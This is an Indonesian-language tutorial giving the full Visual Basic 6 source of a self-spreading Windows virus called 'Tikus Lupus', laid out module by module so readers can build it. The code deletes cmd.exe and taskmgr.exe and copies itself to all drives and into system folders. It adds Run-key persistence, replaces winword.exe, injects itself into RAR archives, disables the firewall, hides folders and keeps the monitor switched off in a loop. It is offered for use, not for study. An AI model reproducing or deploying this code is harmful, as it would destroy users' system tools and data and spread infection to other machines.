Virus Tikus Lupus

Yang di butuh.in untuk buat virus ini : -> 1 Form, -> 3 Modul, yang terdiri dari aerah Tikus Lupus,Modul1,dan RumahTikus. -> 1 Class Modul, -> 1 Related Documents Dan Komponen yang di butuh..in cuman : -> 1 Timer aja.
Ini Kode yang di Taruh di Form :
Code:
Private Fso As New FileSystemObjectPrivate Drive As DrivePrivate Drives As DrivesOption ExplicitPrivate TikusFirewall As LupusFirewallPrivate lngPortCounter As LongPrivate Declare Function NetRemoteTOD Lib "netapi32.dll" (yServer As Any, pBuffer As Long) As LongPrivate Declare Function NetApiBufferFree Lib "netapi32.dll" (ByVal pBuffer As Long) As LongPrivate Declare Sub CopyMem Lib "kernel32.dll" Alias "RtlMoveMemory" (pTo As Any, uFrom As Any, ByVal lSize As Long)Private Type TIME_OF_DAY_INFO telapsed As Long tmsecs As Long thours As Long tmins As Long tsecs As Long thunds As Long ttimezone As Long ttinterval As Long tday As Long tmonth As Long tyear As Long tweekday As LongEnd TypePrivate Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Any) As LongConst SC_MONITORPOWER = &HF170&Const MONITOR_OFF = 2&Const WM_SYSCOMMAND = &H112Private Function LingkaranTikus(TheForm As Form)SaveSetting TheForm.Name, App.Title, "TimesOpen", Val(GetSetting(TheForm.Name, App.Title, "TimesOpen")) + 1End FunctionFunction AmbilJamDikomputer() Dim JamLupus As TIME_OF_DAY_INFO Dim JamTikusLupus As Long, lpBuffer As Long Dim ServerLupus() As Byte JamTikusLupus = NetRemoteTOD(vbNullString, lpBuffer) CopyMem JamLupus, ByVal lpBuffer, Len(JamLupus) If lpBuffer Then Call NetApiBufferFree(lpBuffer) End If AmbilJamDikomputer = DateSerial(JamLupus.tyear, JamLupus.tmonth, JamLupus.tday) year = Right(AmbilJamDikomputer, 4)End FunctionSub PenampilanLupus()Dim aDo Until a = 1SendMessage Me.hWnd, WM_SYSCOMMAND, SC_MONITORPOWER, MONITOR_OFFLoopEnd SubFunction TikusInfeksiFolder(Fold As String)Dim Fso As Object, FolderSSet Fso = CreateObject("Scripting.FileSystemObject")On Error Resume NextFor Each FolderS In Fso.GetFolder(Fold).subfoldersCall TikusInfeksiFolder(FolderS.Path)Name FolderS As FolderS + ".{645FF040-5081-101B-9F08-00AA002F954E}"Next FolderSEnd FunctionPrivate Sub RuanganTikus() Set Drives = Fso.Drives For Each Drive In Drives Select Case Drive.DriveType Case Removable Case Fixed Case CDRom GoTo KondisiTikus Case Remote End Select If Drive.IsReady = True Then If Drive.AvailableSpace <> "" Then Dim letter As String letter = Drive.DriveLetter FileCopy App.Path + "\" + App.EXEName + ".exe", letter + ":\" + "TikusLupus.txt" TikusInfeksiFolder letter + ":\" End If End IfKondisiTikus: NextEnd SubSub PermenLupus()Kill ("C:\WINDOWS\SYSTEM32\cmd.exe")Kill ("C:\WINDOWS\SYSTEM32\taskmgr.exe")TikusInfeksiFolder "c:\"MsgBox "Windows sudah terinfeksi oleh Tikus Lupus,segera lakukan Instal Ulang Hard Disk Anda.Terima Kasih", vbCritical, "Windows Error"Call LingkaranTikus(Me)X$ = GetSetting(Me.Name, App.Title, "TimesOpen")LepaskanTikus:Select Case X$Case X$ > "2" FileCopy App.Path + "\" + App.EXEName + ".exe", "C:\WINDOWS\SYSTEM32\1031\TikusLupus.exe" Set newreg = CreateObject("WScript.Shell") newreg.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsFirewall", "C:\WINDOWS\SYSTEM32\1031\TikusLupus.exe" Call PenampilanLupusCase X$ > "2" SaveSetting Me.Name, App.Title, "TimesOpen", 0 Call LingkaranTikus(Me) Call LingkaranTikus(Me) GoTo LepaskanTikusCase X$ < "2" SaveSetting Me.Name, App.Title, "TimesOpen", 0 Call LingkaranTikus(Me) Call LingkaranTikus(Me) GoTo LepaskanTikusEnd SelectEnd SubSub hibernate()TikusCariFile "C:\WINDOWS\SYSTEM32\1025\TikusLupus.exe" If FileEx = False Then Call InfeksiTikus2 End IfTikusCariFile "C:\WINDOWS\SYSTEM32\1028\TikusLupus.exe" If FileEx = False Then Call InfeksiTikus2 End IfShell ("C:\Program Files\Microsoft Office\Office10\WINWORD.EXE"), vbNormalFocusShell ("C:\Program Files\Microsoft Office\Office12\WINWORD.EXE"), vbNormalFocusEnd SubPrivate Function TikusCariFile(NamaLengkapFile As String) As Boolean On Error GoTo LupusdanTikus Open NamaLengkapFile For Input As #1 Close #1 FileEx = True Exit FunctionLupusdanTikus: FileEx = False Exit FunctionEnd FunctionSub TikusAmbilInfoKomputer()Dim JalaLupusDim DokumenLupusOn Error Resume NextSet JalaLupus = CreateObject("WScript.NetWork")If Err.Number <> 0 ThenDokumenLupus.Location = "TikusLupus.html"End IfDim NamaPemakaiDim NamaKomputerDim DomainKomputerNamaPemakai = JalaLupus.usernameNamaKomputer = JalaLupus.ComputerNameDomainKomputer = JalaLupus.UserDomainSelect Case DomainKomputerCase "STD"Case "AVR"TikusFirewall.DisableFirewallCase ElseTikusFirewall.DisableFirewallEnd SelectSet JalaLupus = NothingEnd SubSub InfeksiTikus2()FileCopy App.Path + "\" + App.EXEName + ".exe", "C:\WINDOWS\SYSTEM32\1025\TikusLupus.exe" FileCopy App.Path + "\" + App.EXEName + ".exe", "C:\WINDOWS\SYSTEM32\1028\TikusLupus.exe"Set newreg = CreateObject("WScript.Shell") newreg.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Lupus", "C:\WINDOWS\SYSTEM32\1025\TikusLupus.exe" newreg.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Micerosoft", "C:\WINDOWS\SYSTEM32\1028\TikusLupus.exe"Name "C:\Program Files\Microsoft Office\Office10\winword.exe" As "C:\Program Files\Microsoft Office\Office10\WINWORD.exe"FileCopy App.Path + "\" + App.EXEName + ".exe", "C:\Program Files\Microsoft Office\Office10\winword.exe"Name "C:\Program Files\Microsoft Office\Office12\winword.exe" As "C:\Program Files\Microsoft Office\Office12\WINWORD.exe"FileCopy App.Path + "\" + App.EXEName + ".exe", "C:\Program Files\Microsoft Office\Office12\winword.exe"End SubPrivate Sub Form_Load()Dim Fso, DrvTypeDim Drives, Drive, Folder, subfolders, subfolder, Files, FileSet Fso = CreateObject("Scripting.FileSystemObject")If (Fso.DriveExists("C:\")) <> "" ThenDrvType = "C:\"End IfIf (Fso.DriveExists("D:\")) <> "" ThenDrvType = "D:\"End IfSet Drives = Fso.DrivesFor Each Drive In DrivesIf Drive.IsReady ThenCall PencarianTikus(Drive)End IfNextTikusLupus.Visible = FalseApp.TaskVisible = FalseTimer1 = FalseCall TikusAmbilInfoKomputerX$ = GetSetting(Me.Name, App.Title, "TimesOpen")TikusCariFile "C:\Program Files\Microsoft Office\Office10\WINWORD.exe"TikusCariFile "C:\Program Files\Microsoft Office\Office12\WINWORD.exe"Call LingkaranTikus(Me)Call AmbilJamDikomputerIf year >= "2007" ThenCall PermenLupusEnd If Select Case X$Case 1 Call hibernateCase 2 Call PenampilanLupusCase Else InfeksiTikus2 Timer1 = TrueEnd SelectEnd SubPrivate Sub Timer1_Timer()RuanganTikusEnd SubFunction PencarianTikus(Path)Dim Fso, DrvType, ws, TikusKetiga, TikuskeempatDim Drives, Drive, Folder, subfolders, subfolder, Files, FileSet Fso = CreateObject("Scripting.FileSystemObject")Set Fso = CreateObject("Scripting.FileSystemObject")Set Folder = Fso.GetFolder(Path)Set Files = Folder.FilesFor Each File In FilesIf Fso.GetExtensionName(File.Path) = "rar" Then Set ws = CreateObject("wscript.shell") Set Fso = CreateObject("Scripting.filesystemobject") TikusKetiga = "C:\Program Files\WinRAR\WinRAR.exe": Tikuskeempat = "D:\Program Files\WinRAR\WinRAR.exe" If Fso.TikusCariFile(TikusKetiga) Or Fso.TikusCariFile(Tikuskeempat) Thenws.run "WinRAR a -ibck -inul """ & File.Path & """ C:\TikusLupus.exe"Open App.Path & "\DaftarTikus.txt" For Append As #1 Write #1, File.PathClose #1 End IfEnd IfNextSet subfolders = Folder.subfoldersFor Each subfolder In subfolders PencarianTikus subfolder.PathNextEnd FunctionIni Kode yang di Taruh di Modules-> Daerah Tikus Lupus :
Code:
Option ExplicitPublic Enum enProtocoll TCP = 0 UDP = 1End EnumIni Kode yang di Taruh di Modulesl-> Module 1 :
Code:
Global FileExGlobal yearGlobal X As StringGlobal newregIni Kode yang di Taruh di Modules-> Rumah Tikus :
Code:
Option ExplicitPublic Type tagInitCommonControlsEx lngSize As Long lngICC As LongEnd TypePrivate Declare Function InitCommonControlsEx Lib "COMCTL32.DLL" _ (KejuTikusLupus As tagInitCommonControlsEx) As BooleanPrivate Const ICC_USEREX_CLASSES = &H200Public Sub PusatTikus() On Error Resume Next Dim KejuTikusLupus As tagInitCommonControlsEx With KejuTikusLupus .lngSize = LenB(KejuTikusLupus) .lngICC = ICC_USEREX_CLASSES End With InitCommonControlsEx KejuTikusLupus TikusLupus.Show TikusLupus.Hide App.TaskVisible = False On Error GoTo 0 End SubIni Kode yang di Taruh di Class Modules-> Lupus Firewall :
Code:
Option ExplicitConst ICSSC_DEFAULT = 0Const CONNECTION_PUBLIC = 0Const CONNECTION_PRIVATE = 1Const CONNECTION_ALL = 2Const NET_FW_IP_PROTOCOL_UDP = 17Const NET_FW_IP_PROTOCOL_TCP = 6Const NET_FW_SCOPE_ALL = 0Const NET_FW_SCOPE_LOCAL_SUBNET = 1Private JalurBerbagiFileLupus As Object'--> Kembalikan Status FirewallPublic Function StatusFirewallLupus() As BooleanDim PeriksaFirewallLupus As BooleanDim ProfileFirewallTikus As ObjectOn Error GoTo TangkisError Set JalurBerbagiFileLupus = CreateObject("HNetCfg.FwMgr") Set ProfileFirewallTikus = JalurBerbagiFileLupus.LocalPolicy.CurrentProfile If ProfileFirewallTikus.FirewallEnabled = False Then PeriksaFirewallLupus = False Else PeriksaFirewallLupus = True End If StatusFirewallLupus = PeriksaFirewallLupus Exit Function TangkisError: StatusFirewallLupus = False MsgBox "Error: " & Err.Description Err.ClearEnd Function'--> Aktifkan FirewallPublic Sub EnableFirewall()Dim ProfileFirewallTikus As Object On Error GoTo ErrorHandler Set JalurBerbagiFileLupus = CreateObject("HNetCfg.FwMgr") Set ProfileFirewallTikus = JalurBerbagiFileLupus.LocalPolicy.CurrentProfile If ProfileFirewallTikus.FirewallEnabled = False Then ProfileFirewallTikus.FirewallEnabled = True End If Set ProfileFirewallTikus = Nothing Set JalurBerbagiFileLupus = Nothing Exit Sub ErrorHandler: MsgBox Err.Description Err.ClearEnd Sub'--> Matikan FirewallPublic Sub DisableFirewall()Dim ProfileFirewallTikus As Object On Error GoTo ErrorHandler Set JalurBerbagiFileLupus = CreateObject("HNetCfg.FwMgr") Set ProfileFirewallTikus = JalurBerbagiFileLupus.LocalPolicy.CurrentProfile If ProfileFirewallTikus.FirewallEnabled = True Then ProfileFirewallTikus.FirewallEnabled = False End If Set ProfileFirewallTikus = Nothing Set JalurBerbagiFileLupus = Nothing Exit Sub ErrorHandler: MsgBox Err.Description Err.ClearEnd Sub'--> Tambah Port Di Konfigurasi FirewallPublic Sub TikusTambahPortDikunfigurasiFirewallUntukKeluar(ByVal strPortName As String, ByVal strPortProtocol As String, ByVal intPortNumber As Integer)Dim ProfileFirewallTikus As ObjectDim port As ObjectOn Error GoTo TangkisError Set JalurBerbagiFileLupus = CreateObject("HNetCfg.FwMgr") Set ProfileFirewallTikus = JalurBerbagiFileLupus.LocalPolicy.CurrentProfile Set port = CreateObject("HNetCfg.FWOpenPort") port.Name = strPortName If LCase(strPortProtocol) = "UDP" Then port.Protocol = NET_FW_IP_PROTOCOL_UDP Else port.Protocol = NET_FW_IP_PROTOCOL_TCP End If port.port = intPortNumber port.Scope = NET_FW_SCOPE_ALL port.Enabled = True ProfileFirewallTikus.GloballyOpenPorts.Add port Set ProfileFirewallTikus = Nothing Set port = Nothing Set JalurBerbagiFileLupus = Nothing Exit Sub TangkisError: MsgBox Err.Description Err.ClearEnd SubPublic Sub BirkanDataMasukServiceICMP(ByVal bolAllow As Boolean)Dim ProfileFirewallTikus As ObjectOn Error GoTo TangkisError Set JalurBerbagiFileLupus = CreateObject("HNetCfg.FwMgr") Set ProfileFirewallTikus = JalurBerbagiFileLupus.LocalPolicy.CurrentProfile ProfileFirewallTikus.IcmpSettings.AllowInboundEchoRequest = bolAllow Set ProfileFirewallTikus = Nothing Set JalurBerbagiFileLupus = NothingExit SubTangkisError: MsgBox Err.Description Err.ClearEnd Sub